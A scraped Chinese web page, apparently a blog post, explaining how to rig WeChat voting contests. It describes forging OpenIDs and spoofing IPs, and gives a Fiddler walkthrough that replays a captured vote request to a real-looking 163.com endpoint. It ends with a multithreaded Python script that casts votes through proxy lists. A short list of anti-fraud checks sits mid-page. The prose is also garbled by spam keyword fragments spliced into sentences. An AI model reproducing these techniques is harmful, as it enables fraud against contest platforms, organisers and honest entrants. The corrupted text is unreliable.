地 址:聯係地址聯係地址聯係地址
电 话:020-123456789
网址:www.6ql2.cn
邮 箱:[email protected]
家裏的太疯微信群又熱鬧了起來 ,家族裏有幾個親戚正在參加某評比活動的狂微微信投票活動 ,所以七大姑八大姨天天在群裏讓我們幫著投票。信刷信投
快到年底了,票微票家裏的程序微信群又熱鬧了起來 ,家族裏有幾個親戚正在參加某評比活動的太疯微信投票活動 ,所以七大姑八大姨天天在群裏讓我們幫著投票 ,狂微家裏人知道我是信刷信投搞IT技術的就想著讓我搞個刷票軟件 ,自動刷票於是票微票我就花了些經曆研究了一下這個灰色產業 ! 。程序
今天就把我最近研究的太疯心得體會給大家分享一下,讓大家了解一下微信刷票軟件的狂微原理與實現 !一、信刷信投 微信的票微票刷票方式微信刷票主要有兩種方式,軟件技術刷票和人工水軍刷票人工刷票:人工刷票,程序就是使用投票水軍來刷票商家熱衷於搞微信投票活動,一些空閑時間多的人士發現了這其中的商家 ,以幫助參賽選手投票來獲得傭金 。
這些人多數是為兼職投票手投票員,外界一般稱我們為投票水軍人工水軍刷票的原理就非常簡單,就是組建一個微信投票任務群 ,把投票任務發到群裏麵就完成刷票了,就是這麽簡單一個群不夠用 ,就多組建幾個群就可以了目前網上好多刷票團隊,自稱都是人工刷票,其實多數都是假的,為什麽呢 ?因為你看他的收費標準就知道了投100票價格可能在10元左右,所以一票可能都不到一毛錢 ,這個還要給水軍們分所以利潤並不高,除非業務量特別大 。
所以幾乎都是用刷票軟件刷票如果你想判斷你的是人工刷票,你可以讓他把投票的截圖都發給你 ,我想他是不會給你的,嗬嗬,如果真的給你 ,你的投票價格最少一票要3毛錢以上!軟件技術刷票 :刷票軟件原理多數 是通過抓包工具分析提交投票時所產的數據,然後使用腳本程序批量提交數據就達到了刷票的目的。
其中最大的難題就是如何突破限製 ,例如ip限製,驗證碼限製 ,微信登陸授權限製等這些刷票工具網上也有很多,但是絕大多數效果都不怎麽好,會被平台限製住
二、微信投票活動的漏洞和刷票技術手段常見漏洞如下 :1、在微信投票的活動中,會有兩種發起投票的情況 ,一種是發起投票的服務器是獨立的,隻是借用了微信的投票平台,在微信平台進行了投票之後 ,會有一個投票轉發的操作 ,將活動中的投票情況轉發給發起投票的服務器 。
另一種是直接使用微信的服務器來發起投票的操作,這種情況則不需要進行投票轉發的操作,投票情況直接在微信服務器上進行控製2、在微信投票的活動中需要的是微信賬號來進行的投票,而在微信平台中有一個關於微信賬號的規則,那就是每一個加密後的微信賬號都會形成一個OpenID,每個用戶的OpenID在微信平台上來說都是唯一的。
那麽當用戶進行投票後 ,如果是需要將投票轉發給獨立服務器的,微信平台則會使用POST參數將包含投票用戶的OpenID的信息轉發給投票服務器,投票服務器在接收到微信平台發送過來的投票POST請求之後 ,就會在自己的服務器通過對比OpenID來確認同一微信賬號的投票次數。
如果不需要轉發給投票服務器的 ,則直接在微信服務器上確認OpenID的投票情況3 、 如果是獨立的投票服務器在接收到POST請求時 ,隻能對這個發送過來的OpenID進行投票次數的判斷,但是因為無法使用微信服務器的數據 ,就無法對這個OpenID進行真實性的驗證 ,這是微信投票活動的一個很大的漏洞。
即便是直接使用微信服務票來進行的投票活動 ,雖然可以直接驗證OpenID的真實性,但是隻需要用技術手段綁定一些OpenID正確的微信賬號來進行投票操作便可以通過這項驗證了有了這個漏洞就非常便於來使用一些技術手段實現微信刷票的操作 。
常見的刷票技術手段 :1 、針對微信投票活動無法校驗OpenID真實性的漏洞,可以先使用一個微信賬號進行一次投票操作 ,利用這次操作來獲取相關的網絡數據這個數據中會包含POST請求的參數以及內容然後通過腳本 ,比如Fiddler或者Python都可以 ,來自己構建一個POST的請求,該請求中參數和內容保證與獲取到的真實數據一致 ,然後按照真實OpenID的格式隨機生成OpenID,需要刷多少票數就進行多少次POST請求 ,便可以實現簡單的刷票操作了。
2、對於有IP限製的微信投票活動,可以使用CURL來偽造IP地址 ,這樣就可以製造多個IP來刷票了二、 常見的防止刷票方法 1 、隻有關注了公眾號才能投票在服務調用獲取用戶基礎信息API接口會返回以下數據 :。
當用戶投票且未關注時,我們可根據subscribe是0還是1判斷有沒有關注 ,若沒有關注則轉至公眾號的二維碼頁麵並提示用戶先長按二維碼關注公眾號此方法的漏洞就是每次投票都要與微信服務器進行交互2 、判斷refer和User-Agent 。
以下為一個request header的部分參數示例:
Referer為上一個訪問的頁麵 ,所以refer必須要為投票的頁麵地址User-Agent裏麵必須有關鍵詞MicroMessenger3 、限製客戶端投票次數用ip當成同一個ip投票次數受限製 ,由於很多時候使用nginx或apache之類的代理服務器 ,因此直接使用HttpServletRequest的getRemoteAddr()很多時候取得的是代理服務器的ip ,而我們要取得的是真實的ip址。
下麵是一個獲取真實ip的示例代碼
4、當投票量大於閱讀量時就是刷票行為存儲頁麵閱讀量,投票完成後,計算票數若投票量大於閱讀量時就是刷票行為。5 、在提交表單數據的地方使用校驗碼
服務端返回一個校驗碼,在dom初始化的時候頁麵使用js加密這個校驗碼 ,commit的時候提交這個加密的校驗碼 ,服務端再判斷這個加密碼的校驗碼是否正確校驗碼設置使用N次後就作廢以下為偽代碼服務端處理:
四 、微信刷票軟件常見的實現方法1、利用fiddler抓包 實現微信投票(原理是利用OpenID真實性的漏洞)第一步 :首先在電腦上下載微信軟件 一般微信投票都需要關注公眾號才能投票 ,所以必須用電腦微信打開鏈接進入投票界麵 下載好之後,打開微信登錄微信帳號 。
然後把投票網址複製粘貼發送到文件傳輸助手 ,這時先不要打開
第二步 :下載並安裝且打開抓包軟件fiddler
第三步 :現在回到微信打開剛才要投票的網址,這時開啟抓包
第四步 :通過我們剛才在微信裏投票的過程 ,下邊我們來看下fiddler裏的情況
出現了這些數據,需要對這些數據進行分析找到哪個才是我們投票的數據最後經過分析,找到了這些數據Host: t: ssl.hi.163.comCoContent-Type: application/x-www-form-urlencoded 。
Origin: n: https://qnm.leihuo.netAcAccept-Encoding: gzip, deflateConnection: keep-aliveAccept: application/json
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Mobile/14D27 MicroMessenger/6.7.1 NetType/WIFI Language/zh_CN
Referer: r: https://qnm.leihuo.net/m/2018/hahaha/MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==/?nie=0.674688067616421&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==&uinfo=0&code=023Eqy001YcsR02oSGYZ0lRK001Eqy0Y
CoContent-Length: 90Accept-Language: zh-cnhttps://ssl.hi.163.com/file_mg/public/qnm/zbs2018/incubation/changeEggProcess
wxid=ox1Mat8wMEsQ9dIoILUpNiESReNo&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ%3D%3D&is_pass=1第五步:現在我們需要對這些數據重組 ,進行一次發包操作 。
重新再刷一次票我們還是回到fiddler 這次我們需要打開這個
第六步:把我們剛才分析到的數據分組填入 ,填完之後是這樣的 。然後我們點擊Execute按鈕 。
第七步:我們點擊提交以後,看下軟件返回什麽數據
第八步:這個使我們所需要的具體信息但是是亂碼,要怎麽應對呢,其實隻要看 code:-5就可以了這樣表示您已經孵化過或者投過票了現在就是我們所需要操作的關鍵點第九步:回到我們剛才我們點擊提交的地方把下列數據隨便改一下 。
但是位數不要減少也不要增加,再次提交
第十步:最後我們看下返回信息
哈哈 ,刷票成功了!!!2 、利用Python語言編寫腳本實現微信刷票(突破ip限製的投票方法)針對那些微信投票隻限製ip 來源的方式,我們可以用如下方式進行刷票:第一步 :在網上搜索大量的代理ip ,建立一個代理ip地址表
第二步 :用Python編寫一個自動執行腳本代碼如下:1. #coding=utf-8 2. import urllib2 3. import urllib 4. import re 5. import threading 6. import sys 7. from time import ctime 8. import time 9. rlock = threading.RLock() 10. def vote(proxyIP,i,urls): 11. try: 12. #print "voting...%d..." % i 13. #使用代理IP 14. proxy_support = urllib2.ProxyHandler(proxyIP) 15. opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler) 16. #定義Opener 17. 18. urllib2.install_opener(opener) 19. #把opener綁定到全局 20. 21. sendt = 投票.decode(utf-8).encode(gb2312) 22. 23. #設置刷票地址 24. #post數據bn 25. values = { } 26. req = urllib2.urlopen(urls) 27. #直接打開這個URL 28. html = req.read() 29. #讀取返回數據 30. if html.find(true.decode(utf-8).encode(gb2312)): 31. print "投票 [%d] 成功" % i 32. return 1 33. else: 34. print "投票 [%d] 失敗" % i 35. return 0; 36. except Exception: 37. return False 38. 39. if __name__ == "__main__": 40. args = sys.argv 41. if(len(args) == 3): 42. ipFile = open(args[1]); 43. ipList = ipFile.readlines() 44. ipFile.close() 45. length = range(len(ipList)) 46. threads = [] 47. for i in length: 48. ipLine = ipList[i] 49. 50. ip=ipLine.strip() 51. proxy_ip = { http: ip} 52. t = threading.Thread(target=vote,args=(proxy_ip,i,args[2])) 53. print "get ",args[2],ip 54. threads.append(t) 55. for i in length: 56. threads[i].start(); 57. if i%100: 58. time.sleep(5) 59. #每100個線程等待 5秒 60. for i in length: 61. threads[i].join() 62. 63. else: 64. print """刷票工具 65. python brush.py IP文件 Get地址: 66. 67. """
免責聲明:本站所有信息均搜集自互聯網,並不代表本站觀點,本站不對其真實合法性負責。如有信息侵犯了您的權益,請告知,本站將立刻處理 。聯係QQ:1640731186